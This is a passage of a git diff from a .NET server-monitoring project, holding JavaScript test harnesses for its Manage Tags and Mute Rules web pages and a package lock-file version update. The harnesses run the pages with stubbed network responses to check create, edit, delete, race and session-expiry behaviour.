+        padding: all(main, (n) => n.tag === "li" && n.attrs.style).map((n) => n.attrs.style),
+        swatches: all(main, (n) => n.tag === "span" && n.className === "tag-swatch").map((n) => n.attrs.style || null),
+        newRoot: buttons(main, "New root tag").length,
+      };
+    },
+    create: async () => {
+      responder = (m) => m === "POST" ? { status: 201, body: { status: "created", tag: { tag_id: 9, name: "New" }, affected_rules: [{ rule_id: "r1", name: "Disk rule", effect: "gained", servers_gained_count: 2 }] } } : { status: 200, body: {} };
+      await mountPage();
+      await clickText(main, "New root tag");
+      await typeInto(main, "name", "  New ");
+      await typeInto(main, "colour", "#112233");
+      await clickText(main, "Save");
+      return { calls, text: paint() };
+    },
+    child: async () => {
+      responder = () => ({ status: 201, body: { status: "created", tag: { tag_id: 9 }, affected_rules: [] } });
+      await mountPage();
+      await fire(nodeButton(main, 3), "click");
+      await clickText(main, "New child tag");
+      await typeInto(main, "name", "Kid");
+      await clickText(main, "Save");
+      return { calls };
+    },
+    rename: async () => {
+      responder = () => ({ status: 409, body: { status: "conflict", refusal: "duplicate_name", message: "A tag named 'West' already exists under this parent." } });
+      await mountPage();
+      await fire(nodeButton(main, 1), "click");
+      await clickText(main, "Edit");
+      await typeInto(main, "name", "West");
+      await clickText(main, "Save");
+      return { calls, text: paint(), formOpen: buttons(main, "Save").length };
+    },
+    patch: async () => {
+      responder = () => ({ status: 200, body: { status: "updated", tag: { tag_id: 2 }, affected_rules: [] } });
+      await mountPage();
+      await fire(nodeButton(main, 2), "click");
+      await clickText(main, "Edit");
+      await typeInto(main, "colour", "#aabbcc");
+      const parent = field(main, "parent_id");
+      parent.value = "";
+      await fire(parent, "change");
+      const parentOptions = all(parent, (n) => n.tag === "option").map((o) => o.attrs.value);
+      await clickText(main, "Save");
+      return { calls, parentOptions };
+    },
+    invalid: async () => {
+      responder = () => ({ status: 400, body: { status: "invalid", message: "'colour' must be #RRGGBB." } });
+      await mountPage();
+      await clickText(main, "New root tag");
+      await typeInto(main, "name", "X");
+      await clickText(main, "Save");
+      return { text: paint() };
+    },
+    delete: async () => {
+      let n = 0;
+      responder = (m, u) => {
+        n++;
+        return u.includes("confirm=true")
+          ? { status: 200, body: { status: "deleted", tag_id: 3, deleted_tag_ids: [3], affected_rules: [{ rule_id: "r2", name: "West rule", effect: "lost", servers_lost_count: 1 }] } }
+          : { status: 409, body: { status: "confirm_required", refusal: "rules_affected", message: "Deleting tag 3 would leave 1 rule matching no server.", affected_rules: [{ rule_id: "r2", name: "West rule" }, { rule_id: "r3", name: "Other rule" }] } };
+      };
+      await mountPage();
+      await fire(nodeButton(main, 3), "click");
+      await clickText(main, "Delete");
+      const afterFirst = { calls: calls.length, text: paint(), anyway: buttons(main, "Delete anyway").length };
+      await clickText(main, "Delete anyway");
+      return { afterFirst, calls, text: paint(), selectedAfter: all(main, (x) => x.attrs["aria-current"] === "true").length };
+    },
+    deleteDeclined: async () => {
+      confirmAnswer = false;
+      await mountPage();
+      await fire(nodeButton(main, 3), "click");
+      await clickText(main, "Delete");
+      return { calls: calls.length };
+    },
+    assign: async () => {
+      responder = () => ({ status: 200, body: { status: "assigned", affected_rules: [{ rule_id: "r9", name: "Cover rule", effect: "gained", servers_gained_count: 1 }] } });
+      await mountPage();
+      await fire(nodeButton(main, 1), "click");
+      const before = [10, 11, 12].map((id) => box(main, id).checked);
+      await tick(main, box(main, 11), true);
+      await tick(main, box(main, 12), false);
+      await clickText(main, "Apply");
+      return { before, calls, text: paint() };
+    },
+    repaint: async () => {
+      await mountPage();
+      await fire(nodeButton(main, 1), "click");
+      await tick(main, box(main, 11), true);
+      await mountPage();
+      return {
+        pressed: all(main, (n) => n.attrs["aria-current"] === "true").map((n) => n.attrs["data-tag-id"]),
+        checked: [10, 11, 12].map((id) => box(main, id).checked),
+        calls: calls.length,
+      };
+    },
+    staleEdit: async () => {
+      responder = () => ({ status: 200, body: { status: "assigned", affected_rules: [] } });
+      await mountPage();
+      await fire(nodeButton(main, 1), "click");
+      await tick(main, box(main, 11), true);
+      cards = [card(10, "srv-a", [{ id: 1 }]), card(11, "srv-b", []), card(12, "srv-c", [{ id: 1 }]), card(13, "srv-d", [{ id: 1 }])];
+      await mountPage();
+      const checkedAfterTick = [10, 11, 12, 13].map((id) => box(main, id).checked);
+      await clickText(main, "Apply");
+      return { checkedAfterTick, calls };
+    },
+    tickForm: async () => {
+      await mountPage();
+      await clickText(main, "New root tag");
+      await typeInto(main, "name", "Typed");
+      const before = field(main, "name");
+      await mountPage();
+      const after = field(main, "name");
+      return { same: before === after, value: after.value, forms: all(main, (n) => n.attrs["data-field"] === "name").length };
+    },
+    tickParents: async () => {
+      await mountPage();
+      await clickText(main, "New root tag");
+      await typeInto(main, "name", "Typed");
+      const before = field(main, "name");
+      forest.push(tag(5, "Added", null, 2, null));
+      await mountPage();
+      const options = all(field(main, "parent_id"), (n) => n.tag === "option").map((o) => o.attrs.value);
+      forest.pop();
+      return { same: before === field(main, "name"), options };
+    },
+    dblDelete: async () => {
+      responder = (m, u) => u.includes("confirm=true")
+        ? { status: 200, body: { status: "deleted", deleted_tag_ids: [3], affected_rules: [{ rule_id: "r2", name: "West rule" }] } }
+        : { status: 409, body: { status: "confirm_required", message: "Would orphan.", affected_rules: [{ rule_id: "r2", name: "West rule" }] } };
+      await mountPage();
+      await fire(nodeButton(main, 3), "click");
+      await clickText(main, "Delete");
+      const go = buttons(main, "Delete anyway")[0];
+      let release;
+      gate = new Promise((r) => { release = r; });
+      const errors = [];
+      const run = () => Promise.resolve().then(() => go.handlers.click[0]()).catch((e) => errors.push(String(e)));
+      const p1 = run();
+      const p2 = run();
+      await settle();
+      gate = null;
+      release();
+      await Promise.all([p1, p2]);
+      await settle();
+      return { calls, errors, text: paint() };
+    },
+    dblSave: async () => {
+      responder = () => ({ status: 201, body: { status: "created", tag: { tag_id: 9 }, affected_rules: [] } });
+      await mountPage();
+      await clickText(main, "New root tag");
+      await typeInto(main, "name", "Dup");
+      const save = buttons(main, "Save")[0];
+      let release;
+      gate = new Promise((r) => { release = r; });
+      const errors = [];
+      const run = () => Promise.resolve().then(() => save.handlers.click[0]()).catch((e) => errors.push(String(e)));
+      const p1 = run();
+      const p2 = run();
+      await settle();
+      gate = null;
+      release();
+      await Promise.all([p1, p2]);
+      await settle();
+      return { calls, errors };
+    },
+    dblApply: async () => {
+      responder = () => ({ status: 200, body: { status: "assigned", affected_rules: [] } });
+      await mountPage();
+      await fire(nodeButton(main, 1), "click");
+      await tick(main, box(main, 11), true);
+      await tick(main, box(main, 12), false);
+      const apply = buttons(main, "Apply")[0];
+      let release;
+      gate = new Promise((r) => { release = r; });
+      const errors = [];
+      const run = () => Promise.resolve().then(() => apply.handlers.click[0]()).catch((e) => errors.push(String(e)));
+      const p1 = run();
+      const p2 = run();
+      await settle();
+      gate = null;
+      release();
+      await Promise.all([p1, p2]);
+      await settle();
+      return { calls, errors };
+    },
+    editGone: async () => {
+      responder = () => ({ status: 404, body: { status: "not_found", message: "No such tag." } });
+      await mountPage();
+      await fire(nodeButton(main, 3), "click");
+      await clickText(main, "Edit");
+      await typeInto(main, "name", "Renamed");
+      forest.splice(2, 1);
+      await clickText(main, "Save");
+      const out = { text: paint(), formOpen: buttons(main, "Save").length, node: all(main, (n) => n.attrs["data-tag-id"] === "3").length };
+      forest.splice(2, 0, tag(3, "West", null, 1, "#E15759"));
+      return out;
+    },
+    partial: async () => {
+      responder = (m) => m === "POST"
+        ? { status: 200, body: { status: "assigned", affected_rules: [{ rule_id: "r7", name: "Gained rule", effect: "gained" }] } }
+        : { status: 500, body: { message: "Store unavailable." } };
+      await mountPage();
+      await fire(nodeButton(main, 1), "click");
+      await tick(main, box(main, 11), true);
+      await tick(main, box(main, 12), false);
+      const fleetBefore = calls.length;
+      await clickText(main, "Apply");
+      return { calls: calls.length - fleetBefore, text: paint() };
+    },
+    refusal: async () => {
+      const status = Number(scenarioParam);
+      responder = () => status === 0 ? { status: 200, body: {} } : { status, body: status === 403 ? { error: "Read-only sign-in." } : status === 404 ? { status: "not_found", refusal: "unknown_parent", message: "No such tag." } : status === 415 ? { error: "Content-Type must be application/json." } : { message: "Boom." } };
+      networkDown = status === 0;
+      await mountPage();
+      await clickText(main, "New root tag");
+      await typeInto(main, "name", "Keep me");
+      await clickText(main, "Save");
+      const name = field(main, "name");
+      return { text: paint(), formOpen: buttons(main, "Save").length, kept: name ? name.value : null };
+    },
+    /* A write the session gate answers (a 401, a sign-in page with a 200, an empty 200) is not a saved change (#5240 review
+       finding 2): the page hands over to the shell once, with the house message and "/", and shows no success. */
+    expiry: async () => {
+      const answer = {
+        "401": { status: 401, body: { error: "x", login: "/elsewhere" } },
+        html: { status: 200, raw: "<html>" },
+        empty: { status: 200, raw: "" },
+      }[scenarioParam];
+      responder = () => answer;
+      const expired = [];
+      const util = await import(pathToFileURL(path.join(scratch, "util.js")).href);
+      util.onSessionExpired((message, login) => expired.push([message, login]));
+      await mountPage();
+      await clickText(main, "New root tag");
+      await typeInto(main, "name", "Keep me");
+      await clickText(main, "Save");
+      return { expired, text: paint(), writes: calls.length, formOpen: buttons(main, "Save").length };
+    },
+    editParent: async () => {
+      responder = () => ({ status: 404, body: { status: "not_found", refusal: "unknown_parent", message: "Parent tag 2 does not exist." } });
+      await mountPage();
+      await fire(nodeButton(main, 3), "click");
+      await tick(main, box(main, 11), true);
+      await clickText(main, "Edit");
+      await typeInto(main, "name", "Renamed");
+      const sel = field(main, "parent_id");
+      sel.value = "1";
+      await fire(sel, "change");
+      await clickText(main, "Save");
+      const name = field(main, "name");
+      return { text: paint(), formOpen: buttons(main, "Save").length, kept: name ? name.value : null, parent: field(main, "parent_id").value, apply: buttons(main, "Apply").length, sel: all(main, (x) => x.attrs["aria-current"] === "true").length };
+    },
+    busyCancel: async () => {
+      responder = () => ({ status: 201, body: { status: "created", tag: { tag_id: 9 }, affected_rules: [] } });
+      await mountPage();
+      await clickText(main, "New root tag");
+      await typeInto(main, "name", "Slow");
+      const openers = buttons(main, "New root tag");
+      let release;
+      gate = new Promise((r) => { release = r; });
+      const p = Promise.resolve().then(() => buttons(main, "Save")[0].handlers.click[0]());
+      await settle();
+      const during = { cancel: buttons(main, "Cancel")[0].disabled, opener: openers[0].disabled };
+      gate = null;
+      release();
+      await p;
+      await settle();
+      return { during, after: openers[0].disabled };
+    },
+    secondSave: async () => {
+      responder = () => ({ status: 500, body: { message: "Boom." } });
+      await mountPage();
+      await clickText(main, "New root tag");
+      await typeInto(main, "name", "Again");
+      await clickText(main, "Save");
+      await clickText(main, "Save");
+      return { calls: calls.length };
+    },
+    baselineAgrees: async () => {
+      responder = () => ({ status: 200, body: { status: "assigned", affected_rules: [] } });
+      await mountPage();
+      await fire(nodeButton(main, 1), "click");
+      await tick(main, box(main, 11), true);
+      const apply = buttons(main, "Apply")[0];
+      cards = [card(10, "srv-a", [{ id: 1 }]), card(11, "srv-b", [{ id: 1 }]), card(12, "srv-c", [{ id: 1 }])];
+      await page.renderManageTags(main);
+      await settle();
+      const before = calls.length;
+      await fire(apply, "click");
+      return { requests: calls.length - before, text: paint() };
+    },
+    deleteRefusal: async () => {
+      const status = Number(scenarioParam);
+      responder = () => ({ status, body: { message: "Refused " + status + "." } });
+      await mountPage();
+      await fire(nodeButton(main, 3), "click");
+      await clickText(main, "Delete");
+      return { text: paint(), selected: all(main, (x) => x.attrs["aria-current"] === "true").length, calls: calls.length };
+    },
+    readonly: async () => {
+      canEdit = false;
+      await mountPage();
+      await fire(nodeButton(main, 1), "click");
+      return {
+        newRoot: buttons(main, "New root tag").length,
+        writes: ["New child tag", "Edit", "Delete", "Apply", "Reset", "Save"].map((t) => buttons(main, t).length),
+        disabled: [10, 11, 12].map((id) => box(main, id).disabled),
+        tree: all(main, (n) => n.attrs["data-tag-id"] !== undefined).length,
+      };
+    },
+  };
+  Object.assign(out, await scenarios[scenario]());
+} finally {
+  fs.rmSync(scratch, { recursive: true, force: true });
+}
+console.log(JSON.stringify(out));
diff --git a/Darling/Darling.Tests/mute-rules-harness.mjs b/Darling/Darling.Tests/mute-rules-harness.mjs
new file mode 100644
index 0000000000..833f590b80
--- /dev/null
+++ b/Darling/Darling.Tests/mute-rules-harness.mjs
@@ -0,0 +1,100 @@
+/* Runs the shipped Mute Rules page's decision functions (wwwroot/js/pages/mute-rules.js) under Node and prints
+   the result of a scenario as one line of JSON. MuteRulesBehaviourTests starts it as
+       node mute-rules-harness.mjs <path to mute-rules.js> <scenario>
+   The page's import lines become stand-ins and its `export` keywords are dropped; the functions are the page as shipped. */
+import fs from "node:fs";
+import vm from "node:vm";
+import path from "node:path";
+
+const [pagePath, scenario] = process.argv.slice(-2);
+const source = fs.readFileSync(pagePath, "utf8").replace(/^import .*;[ \t]*\r?$/gm, "").replace(/^export /gm, "");
+if (/^import /m.test(source)) throw new Error("mute-rules.js layout changed: the harness cannot strip a multi-line import");
+
+const ctxSource = fs.readFileSync(path.join(path.dirname(pagePath), "..", "mute-context.js"), "utf8").replace(/^export /gm, "");
+let expiredCalls = 0;
+let nextResponse = { status: 200, text: "" };
+const windowStub = { history: { replaceState() {} }, location: { hash: "" } };
+const context = vm.createContext({
+  console, URLSearchParams, window: windowStub,
+  fetch: async () => ({ status: nextResponse.status, text: async () => nextResponse.text }),
+  reportSessionExpired: () => { expiredCalls++; },
+});
+vm.runInContext(source + "\nglobalThis.__p = { formToCreateBody, buildPatch, isEmptyCreate, interpretWrite, EMPTY_CREATE_WARNING, send, closeForm, parsePrefill, openForm: (f) => { form = { errors: {}, ...f }; }, setLast: (v) => { lastPrefillQuery = v; }, getLast: () => lastPrefillQuery };", context);
+const ctx2 = vm.createContext({});
+vm.runInContext(ctxSource + "\nglobalThis.__c = { mutePrefillParams, parseDetailContext };", ctx2);
+const c = ctx2.__c;
+const utilSource = fs.readFileSync(path.join(path.dirname(pagePath), "..", "util.js"), "utf8").replace(/\r\n/g, "\n");
+const buildQuerySource = /export function buildQuery[\s\S]*?\n}\n/.exec(utilSource)[0].replace(/^export /, "");
+const qctx = vm.createContext({ encodeURIComponent });
+vm.runInContext(buildQuerySource + "\nglobalThis.__q = buildQuery;", qctx);
+const buildQuery = qctx.__q;
+/* The body the page POSTs when the user clicks "Mute this alert" on a row and saves the form untouched. */
+const bodyFor = (row) => j(p.formToCreateBody(p.parsePrefill(buildQuery(c.mutePrefillParams(row)))));
+const p = context.__p;
+const j = (x) => JSON.parse(JSON.stringify(x));
+
+const original = { id: "r1", server_name: "SRV1", metric_name: "High CPU", reason: "noisy", database_pattern: null, expires_at_utc: null, enabled: true };
+const expiring = { ...original, expires_at_utc: "2026-08-01T00:00:00.0000000Z" };
+const formOf = (over) => ({ server_name: "SRV1", metric_name: "High CPU", reason: "noisy", database_pattern: "", expires_at_utc: "", ...over });
+
+const alertRow = (over) => ({ server_id: 7, server_name: "Display Name", stored_server_name: "stored-host", metric_name: "High CPU", detail_text: null, ...over });
+
+const scenarios = {
+  bodies: () => ({
+    engine: bodyFor(alertRow({})),
+    engineDetail: bodyFor(alertRow({ detail_text: "  Database: Sales\n  Wait Type: LCK_M_X" })),
+    self: bodyFor(alertRow({ server_id: 0, server_name: "Display", stored_server_name: "Monitor Store", metric_name: "Disk Pressure" })),
+  }),
+  prefill: () => ({
+    engine: j(c.mutePrefillParams(alertRow({}))),
+    self: j(c.mutePrefillParams(alertRow({ server_id: 0, server_name: "Display", stored_server_name: "Monitor Store", metric_name: "Disk Pressure" }))),
+    oldPayload: j(c.mutePrefillParams(alertRow({ stored_server_name: undefined }))),
+    detail: j(c.mutePrefillParams(alertRow({ detail_text: "Alert\n  Database: Sales\n  Wait Type: LCK_M_X\n  Job Name: Nightly\n  Blocked Query: SELECT 1\nFROM t\n  Other: x" }))),
+    custom: j(c.mutePrefillParams(alertRow({ metric_name: "Custom:abc", detail_text: "  Database: master" }))),
+    longQuery: c.mutePrefillParams(alertRow({ detail_text: "  Query: " + "q".repeat(300) })).query_text_pattern.length,
+    parsed: j(p.parsePrefill("?server_id=7&server_name=stored-host&metric_name=High%20CPU")),
+    body: j(p.formToCreateBody(p.parsePrefill("?server_id=7&server_name=stored-host&metric_name=High%20CPU"))),
+  }),
+  expiry: async () => {
+    const out = {};
+    nextResponse = { status: 401, text: JSON.stringify({ error: "Session expired" }) };
+    out.s401 = j(await p.send("POST", "/api/mute-rules", {})); out.after401 = expiredCalls;
+    nextResponse = { status: 403, text: "{}" };
+    out.s403 = j(await p.send("POST", "/api/mute-rules", {})); out.after403 = expiredCalls;
+    nextResponse = { status: 200, text: "<html>sign in</html>" };
+    out.html200 = j(await p.send("POST", "/api/mute-rules", {}));
+    nextResponse = { status: 200, text: "" };
+    out.empty200 = j(await p.send("DELETE", "/api/mute-rules/x"));
+    nextResponse = { status: 201, text: JSON.stringify({ status: "created", mute_rule: { id: "n1" } }) };
+    out.json201 = j(await p.send("POST", "/api/mute-rules", {}));
+    out.calls = expiredCalls;
+    return out;
+  },
+  reopen: () => {
+    p.setLast("?server_id=7");
+    p.openForm({ mode: "create", values: {} });
+    p.closeForm();
+    return { last: p.getLast() };
+  },
+  patch: () => ({
+    onlyChanged: j(p.buildPatch(original, formOf({ reason: "now quiet", expires_at_utc: "" }))),
+    nothing: j(p.buildPatch(original, formOf({}))),
+    withEnabled: Object.keys(p.buildPatch({ ...original, enabled: true }, formOf({ reason: "x" }))).includes("enabled"),
+  }),
+  clear: () => ({ cleared: j(p.buildPatch(original, formOf({ server_name: "   " }))), expiryCleared: j(p.buildPatch(expiring, formOf({}))) }),
+  empty: () => ({
+    blank: p.isEmptyCreate(p.formToCreateBody({})),
+    reasonOnly: p.isEmptyCreate(p.formToCreateBody({ reason: "x" })),
+    scoped: p.isEmptyCreate(p.formToCreateBody({ metric_name: "High CPU" })),
+    body: j(p.formToCreateBody({ server_name: " A ", reason: "", metric_name: "M" })),
+    warning: p.EMPTY_CREATE_WARNING,
+  }),
+  writes: () => ({
+    exists: j(p.interpretWrite(409, { status: "already_exists", message: "dup", rule_id: "abc" })),
+    invalid: j(p.interpretWrite(400, { status: "invalid", message: "'expires_at_utc' must be an ISO-8601 UTC timestamp" })),
+    notfound: j(p.interpretWrite(404, { status: "not_found", message: "No mute rule" })),
+    readonly: j(p.interpretWrite(403, { error: "forbidden" })),
+    created: j(p.interpretWrite(201, { status: "created", mute_rule: { id: "n1" } })),
+  }),
+};
+console.log(JSON.stringify(await scenarios[scenario]()));
diff --git a/Darling/Darling.Tests/packages.lock.json b/Darling/Darling.Tests/packages.lock.json
index 1700c8a597..ede3d81d1f 100644
--- a/Darling/Darling.Tests/packages.lock.json
+++ b/Darling/Darling.Tests/packages.lock.json
@@ -19,8 +19,8 @@
       },
       "AWSSDK.Core": {
         "type": "Transitive",
-        "resolved": "4.0.102.6",
-        "contentHash": "YwUi9qpz/OHqwEgsf8I5jj1aC/xkkjmF91R8Yx6yD66dhOiORgQJynYQk0fzI4xdhBgUaw8SRGbMkLRrvL+CNA=="
+        "resolved": "4.0.102.8",
+        "contentHash": "90B9Skhl+ORbtWNXrrmGdGhGvAfZiPmZafRYrB/xHelZjePIwPvXioqz9UiiF1vo21eDLzTnXh5EC4RjbNWsFQ=="
       },
       "Azure.Core": {
         "type": "Transitive",
@@ -85,16 +85,16 @@
       },
       "Microsoft.Data.SqlClient.Extensions.Abstractions": {
         "type": "Transitive",
-        "resolved": "7.1.0",
-        "contentHash": "8xqe8rxLEJealAw21Rh/w+Kis4TtgAZQ+e7HrTkG/gOeiy3CbCtcMXJr3P5H9txhUQNNxkoR9qy1FIk5T85FSg==",
+        "resolved": "7.1.1",
+        "contentHash": "qP/zUOCJwfKqWNC9o+TWqltfNbLnZi1APNpJZgj0yeEJhoI+h+eoQLX+331yZHNOlDxdafZLP5arW/yrS1jAAw==",
         "dependencies": {
-          "Microsoft.Data.SqlClient.Internal.Logging": "[7.1.0, 8.0.0)"
+          "Microsoft.Data.SqlClient.Internal.Logging": "[7.1.1, 8.0.0)"
         }
       },
       "Microsoft.Data.SqlClient.Internal.Logging": {
         "type": "Transitive",
-        "resolved": "7.1.0",
-        "contentHash": "z+uzJ+/xqZlYSlv0slMhiHd3TRZr20ijZmjUG2qOaNjKzMMO5cx8itHQ0s/YguqMq/8BMlXZe5n6XSgswe+73g=="
+        "resolved": "7.1.1",
+        "contentHash": "bVqbATLnHQngue7U9K7GRnzvfdDa7IyiBU2vijfU2vBMBSZrAnQp/wXqNSfaVonckSaMXUk07wfujTqy9IVMdw=="
       },
       "Microsoft.Data.SqlClient.SNI.runtime": {
         "type": "Transitive",
@@ -296,7 +296,8 @@
           "Microsoft.Extensions.DependencyInjection.Abstractions": "10.0.12",
           "Microsoft.Extensions.Logging": "10.0.12",
           "Microsoft.Extensions.Logging.Abstractions": "10.0.12",
-          "Microsoft.Extensions.Options": "10.0.12"
+          "Microsoft.Extensions.Options": "10.0.12",
+          "System.Diagnostics.EventLog": "10.0.12"
         }
       },
       "Microsoft.Extensions.Logging.EventSource": {
@@ -633,6 +634,11 @@
           "System.Memory.Data": "10.0.1"
         }
       },
+      "System.Diagnostics.EventLog": {
+        "type": "Transitive",
+        "resolved": "10.0.12",
+        "contentHash": "sOZM+VyRj1pg/ItlHsvrSbjws6oGqZveTzTNBGZ9ziwRDyKsOF3ub6vhvOdxotCIqtlnyHAIwP5sLNvgiZC+pQ=="
+      },
       "System.IdentityModel.Tokens.Jwt": {
         "type": "Transitive",
         "resolved": "8.16.0",
@@ -655,7 +661,10 @@
       "System.ServiceProcess.ServiceController": {
         "type": "Transitive",
         "resolved": "10.0.12",
-        "contentHash": "sFV+RM/yPtshiCAEIuTm8Dt4F7VuKRbL50PnGC9nXHolk/jw+z3T8zx7axKTBC8mqtQU2ZmjsoPC9b1iwOilNQ=="
+        "contentHash": "sFV+RM/yPtshiCAEIuTm8Dt4F7VuKRbL50PnGC9nXHolk/jw+z3T8zx7axKTBC8mqtQU2ZmjsoPC9b1iwOilNQ==",
+        "dependencies": {
+          "System.Diagnostics.EventLog": "10.0.12"
+        }
       },
       "System.Threading.RateLimiting": {
         "type": "Transitive",
@@ -733,8 +742,8 @@
       "performancemonitor.alerting": {
         "type": "Project",
         "dependencies": {
-          "PerformanceMonitor.Common": "[3.8.0, )",
-          "PerformanceMonitor.Notifications": "[3.8.0, )"
+          "PerformanceMonitor.Common": "[3.9.0, )",
+          "PerformanceMonitor.Notifications": "[3.9.0, )"
         }
       },
       "performancemonitor.analysis": {
@@ -743,7 +752,7 @@
       "performancemonitor.collectors": {
         "type": "Project",
         "dependencies": {
-          "PerformanceMonitor.Common": "[3.8.0, )"
+          "PerformanceMonitor.Common": "[3.9.0, )"
         }
       },
       "performancemonitor.common": {
@@ -757,110 +766,124 @@
       "performancemonitor.darling.analysis": {
         "type": "Project",
         "dependencies": {
-          "Microsoft.Data.SqlClient": "[7.1.0, )",
-          "Microsoft.Data.SqlClient.Extensions.Azure": "[7.1.0, )",
+          "Microsoft.Data.SqlClient": "[7.1.1, )",
+          "Microsoft.Data.SqlClient.Extensions.Azure": "[7.1.1, )",
           "ModelContextProtocol": "[2.2.0, )",
-          "PerformanceMonitor.Analysis": "[3.8.0, )",
-          "PerformanceMonitor.Collectors": "[3.8.0, )",
-          "PerformanceMonitor.Common": "[3.8.0, )",
-          "PerformanceMonitor.Darling.Storage": "[3.8.0, )",
-          "PerformanceMonitor.Notifications": "[3.8.0, )",
-          "PerformanceMonitor.PlanAnalysis": "[3.8.0, )"
+          "PerformanceMonitor.Analysis": "[3.9.0, )",
+          "PerformanceMonitor.Collectors": "[3.9.0, )",
+          "PerformanceMonitor.Common": "[3.9.0, )",
+          "PerformanceMonitor.Darling.Storage": "[3.9.0, )",
+          "PerformanceMonitor.Notifications": "[3.9.0, )",
+          "PerformanceMonitor.PlanAnalysis": "[3.9.0, )",
+          "System.Security.Cryptography.ProtectedData": "[10.0.11, )"
         }
       },
       "performancemonitor.darling.service": {
         "type": "Project",
         "dependencies": {
-          "AWSSDK.PI": "[4.0.100.14, )",
-          "AWSSDK.RDS": "[4.0.105.3, )",
-          "BlackwellSystems.Gcf": "[1.0.0, )",
-          "Microsoft.Data.SqlClient": "[7.1.0, )",
-          "Microsoft.Data.SqlClient.Extensions.Azure": "[7.1.0, )",
+          "AWSSDK.PI": "[4.0.100.15, )",
+          "AWSSDK.RDS": "[4.0.106.1, )",
+          "AWSSDK.SecurityToken": "[4.0.101.1, )",
+          "BlackwellSystems.Gcf": "[1.1.0, )",
+          "Microsoft.Data.SqlClient": "[7.1.1, )",
+          "Microsoft.Data.SqlClient.Extensions.Azure": "[7.1.1, )",
           "Microsoft.Extensions.Hosting": "[10.0.12, )",
           "Microsoft.Extensions.Hosting.WindowsServices": "[10.0.12, )",
           "ModelContextProtocol": "[2.2.0, )",
           "ModelContextProtocol.AspNetCore": "[2.2.0, )",
-          "PerformanceMonitor.Alerting": "[3.8.0, )",
-          "PerformanceMonitor.Collectors": "[3.8.0, )",
-          "PerformanceMonitor.Common": "[3.8.0, )",
-          "PerformanceMonitor.Darling.Analysis": "[3.8.0, )",
-          "PerformanceMonitor.Darling.Storage": "[3.8.0, )",
-          "PerformanceMonitor.Notifications": "[3.8.0, )",
-          "PerformanceMonitor.PlanAnalysis": "[3.8.0, )",
-          "System.IO.FileSystem.AccessControl": "[5.0.0, )"
+          "PerformanceMonitor.Alerting": "[3.9.0, )",
+          "PerformanceMonitor.Collectors": "[3.9.0, )",
+          "PerformanceMonitor.Common": "[3.9.0, )",
+          "PerformanceMonitor.Darling.Analysis": "[3.9.0, )",
+          "PerformanceMonitor.Darling.Storage": "[3.9.0, )",
+          "PerformanceMonitor.Notifications": "[3.9.0, )",
+          "PerformanceMonitor.PlanAnalysis": "[3.9.0, )",
+          "System.IO.FileSystem.AccessControl": "[5.0.0, )",
+          "System.Security.Cryptography.ProtectedData": "[10.0.12, )"
         }
       },
       "performancemonitor.darling.storage": {
         "type": "Project",
         "dependencies": {
           "Npgsql": "[10.0.3, )",
-          "PerformanceMonitor.Collectors": "[3.8.0, )",
-          "PerformanceMonitor.Common": "[3.8.0, )",
-          "PerformanceMonitor.PlanAnalysis": "[3.8.0, )"
+          "PerformanceMonitor.Analysis": "[3.9.0, )",
+          "PerformanceMonitor.Collectors": "[3.9.0, )",
+          "PerformanceMonitor.Common": "[3.9.0, )",
+          "PerformanceMonitor.PlanAnalysis": "[3.9.0, )"
         }
       },
       "performancemonitor.darling.viewer": {
         "type": "Project",
         "dependencies": {
           "Hardcodet.NotifyIcon.Wpf": "[2.0.1, )",
-          "PerformanceMonitor.Alerting": "[3.8.0, )",
-          "PerformanceMonitor.Analysis": "[3.8.0, )",
-          "PerformanceMonitor.Collectors": "[3.8.0, )",
-          "PerformanceMonitor.Common": "[3.8.0, )",
-          "PerformanceMonitor.Darling.Analysis": "[3.8.0, )",
-          "PerformanceMonitor.Darling.Storage": "[3.8.0, )",
-          "PerformanceMonitor.Notifications": "[3.8.0, )",
-          "PerformanceMonitor.PlanAnalysis": "[3.8.0, )",
-          "PerformanceMonitor.Ui": "[3.8.0, )",
+          "PerformanceMonitor.Alerting": "[3.9.0, )",
+          "PerformanceMonitor.Analysis": "[3.9.0, )",
+          "PerformanceMonitor.Collectors": "[3.9.0, )",
+          "PerformanceMonitor.Common": "[3.9.0, )",
+          "PerformanceMonitor.Darling.Analysis": "[3.9.0, )",
+          "PerformanceMonitor.Darling.Storage": "[3.9.0, )",
+          "PerformanceMonitor.Notifications": "[3.9.0, )",
+          "PerformanceMonitor.PlanAnalysis": "[3.9.0, )",
+          "PerformanceMonitor.Ui": "[3.9.0, )",
           "ScottPlot.WPF": "[5.1.59, )",
-          "Velopack": "[1.2.158, )"
+          "Velopack": "[1.2.161, )"
         }
       },
       "performancemonitor.notifications": {
         "type": "Project",
         "dependencies": {
           "Microsoft.Extensions.Logging.Abstractions": "[10.0.12, )",
-          "PerformanceMonitor.Analysis": "[3.8.0, )"
+          "PerformanceMonitor.Analysis": "[3.9.0, )"
         }
       },
       "performancemonitor.plananalysis": {
         "type": "Project",
         "dependencies": {
-          "Microsoft.Data.SqlClient": "[7.1.0, )",
-          "PerformanceMonitor.Common": "[3.8.0, )"
+          "Microsoft.Data.SqlClient": "[7.1.1, )",
+          "PerformanceMonitor.Common": "[3.9.0, )",
+          "System.Security.Cryptography.ProtectedData": "[10.0.11, )"
         }
       },
       "performancemonitor.ui": {
         "type": "Project",
         "dependencies": {
-          "PerformanceMonitor.Common": "[3.8.0, )",
-          "PerformanceMonitor.PlanAnalysis": "[3.8.0, )",
+          "PerformanceMonitor.Common": "[3.9.0, )",
+          "PerformanceMonitor.PlanAnalysis": "[3.9.0, )",
           "ScottPlot.WPF": "[5.1.59, )"
         }
       },
       "AWSSDK.PI": {
         "type": "CentralTransitive",
-        "requested": "[4.0.100.14, )",
-        "resolved": "4.0.100.14",
-        "contentHash": "4IWTPrEW9TzuET1B8GEftX2rx+HyJ0hwmS6sRvx7DTpupCbD80QdSqGBlmsH34eUvv/Gvcowp321Dv/SzZP0CQ==",
+        "requested": "[4.0.100.15, )",
+        "resolved": "4.0.100.15",
+        "contentHash": "Pk25EjBAV+yY7r5vP7c7VmqeX922BwCIpNO/ynp5WIEfZbIZD1FSyg/D++W6gqIOq2vWRSvSXygMlCagMHx4xQ==",
         "dependencies": {
-          "AWSSDK.Core": "[4.0.102.6, 5.0.0)"
+          "AWSSDK.Core": "[4.0.102.8, 5.0.0)"
         }
       },
       "AWSSDK.RDS": {
         "type": "CentralTransitive",
-        "requested": "[4.0.105.3, )",
-        "resolved": "4.0.105.3",
